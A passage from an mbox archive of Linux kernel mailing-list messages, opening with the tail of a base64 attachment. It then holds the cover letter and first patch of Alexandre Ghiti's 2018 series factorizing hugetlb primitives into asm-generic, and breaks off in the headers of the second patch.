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

--5vNYLRcllDrimb99--


From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 00/11] hugetlb: Factorize architecture hugetlb primitives
Date: Thu,  5 Jul 2018 04:58:36 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <20180705045847.32575-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530766647 1238 195.159.176.226 (5 Jul 2018 04:57:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 04:57:27 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 06:57:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawKV-0000AK-TU
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 06:57:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753216AbeGEE7Z (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 00:59:25 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:36043 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753075AbeGEE7W (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 00:59:22 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id D83741BF208;
        Thu,  5 Jul 2018 04:59:10 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812016 gmane.linux.ports.arm.kernel:660908 gmane.linux.ports.ia64:28880 gmane.linux.ports.mips.general:65240 gmane.linux.ports.parisc:28731 gmane.linux.ports.ppc64.devel:159663 gmane.linux.ports.sh.devel:57153 gmane.linux.ports.sparc:28055 gmane.linux.kernel.cross-arch:45000
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812016>

In order to reduce copy/paste of functions across architectures and then
make riscv hugetlb port (and future ports) simpler and smaller, this patchset
intends to factorize the numerous hugetlb primitives that are defined across all
the architectures.

Except for prepare_hugepage_range, this patchset moves the versions that
are just pass-through to standard pte primitives into
asm-generic/hugetlb.h by using the same #ifdef semantic that can be
found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.

s390 architecture has not been tackled in this serie since it does not
use asm-generic/hugetlb.h at all.
powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).

This patchset has been compiled on x86 only.

Alexandre Ghiti (11):
  hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
  hugetlb: Introduce generic version of hugetlb_free_pgd_range
  hugetlb: Introduce generic version of set_huge_pte_at
  hugetlb: Introduce generic version of huge_ptep_get_and_clear
  hugetlb: Introduce generic version of huge_ptep_clear_flush
  hugetlb: Introduce generic version of huge_pte_none
  hugetlb: Introduce generic version of huge_pte_wrprotect
  hugetlb: Introduce generic version of prepare_hugepage_range
  hugetlb: Introduce generic version of huge_ptep_set_wrprotect
  hugetlb: Introduce generic version of huge_ptep_set_access_flags
  hugetlb: Introduce generic version of huge_ptep_get

 arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
 arch/arm/include/asm/hugetlb.h               | 33 +----------
 arch/arm64/include/asm/hugetlb.h             | 39 +++---------
 arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
 arch/mips/include/asm/hugetlb.h              | 40 +++----------
 arch/parisc/include/asm/hugetlb.h            | 33 +++--------
 arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
 arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
 arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
 arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
 arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
 arch/sh/include/asm/hugetlb.h                | 54 ++---------------
 arch/sparc/include/asm/hugetlb.h             | 40 +++----------
 arch/x86/include/asm/hugetlb.h               | 72 +----------------------
 include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
 15 files changed, 143 insertions(+), 384 deletions(-)

-- 
2.16.2



From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 01/11] hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
Date: Thu,  5 Jul 2018 04:58:37 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <20180705045847.32575-2-alex@ghiti.fr>
References: <20180705045847.32575-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530766652 1688 195.159.176.226 (5 Jul 2018 04:57:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 04:57:32 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 06:57:25 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawKX-0000D4-VS
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 06:57:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753290AbeGEE73 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 00:59:29 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:33319 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753225AbeGEE71 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 00:59:27 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id 1CFF01BF203;
        Thu,  5 Jul 2018 04:59:19 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705045847.32575-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812017 gmane.linux.ports.arm.kernel:660909 gmane.linux.ports.ia64:28881 gmane.linux.ports.mips.general:65241 gmane.linux.ports.parisc:28732 gmane.linux.ports.ppc64.devel:159664 gmane.linux.ports.sh.devel:57154 gmane.linux.ports.sparc:28056 gmane.linux.kernel.cross-arch:45001
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812017>

asm-generic/hugetlb.h proposes generic implementations of hugetlb
related functions: use __HAVE_ARCH_HUGE* defines in order to make arch
specific implementations of hugetlb functions consistent with pgtable.h
scheme.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm64/include/asm/hugetlb.h | 2 +-
 include/asm-generic/hugetlb.h    | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index e73f68569624..3fcf14663dfa 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -81,9 +81,9 @@ extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTE_CLEAR
 extern void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 			   pte_t *ptep, unsigned long sz);
-#define huge_pte_clear huge_pte_clear
 extern void set_huge_swap_pte_at(struct mm_struct *mm, unsigned long addr,
 				 pte_t *ptep, pte_t pte, unsigned long sz);
 #define set_huge_swap_pte_at set_huge_swap_pte_at
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9d0cde8ab716..3da7cff52360 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -32,7 +32,7 @@ static inline pte_t huge_pte_modify(pte_t pte, pgprot_t newprot)
 	return pte_modify(pte, newprot);
 }
 
-#ifndef huge_pte_clear
+#ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
 static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 		    pte_t *ptep, unsigned long sz)
 {
-- 
2.16.2



From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 02/11] hugetlb: Introduce generic version of hugetlb_free_pgd_range
Date: Thu,  5 Jul 2018 04:58:38 +0000
Lines: 307
Approved: news@gmane.org
Message-ID: <20180705045847.32575-3-alex@ghiti.fr>
References: <20180705045847.32575-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530766658 2138 195.159.176.226 (5 Jul 2018 04:57:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 04:57:38 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 06:57:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawKf-0000NH-Am
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 06:57:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753334AbeGEE7i (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
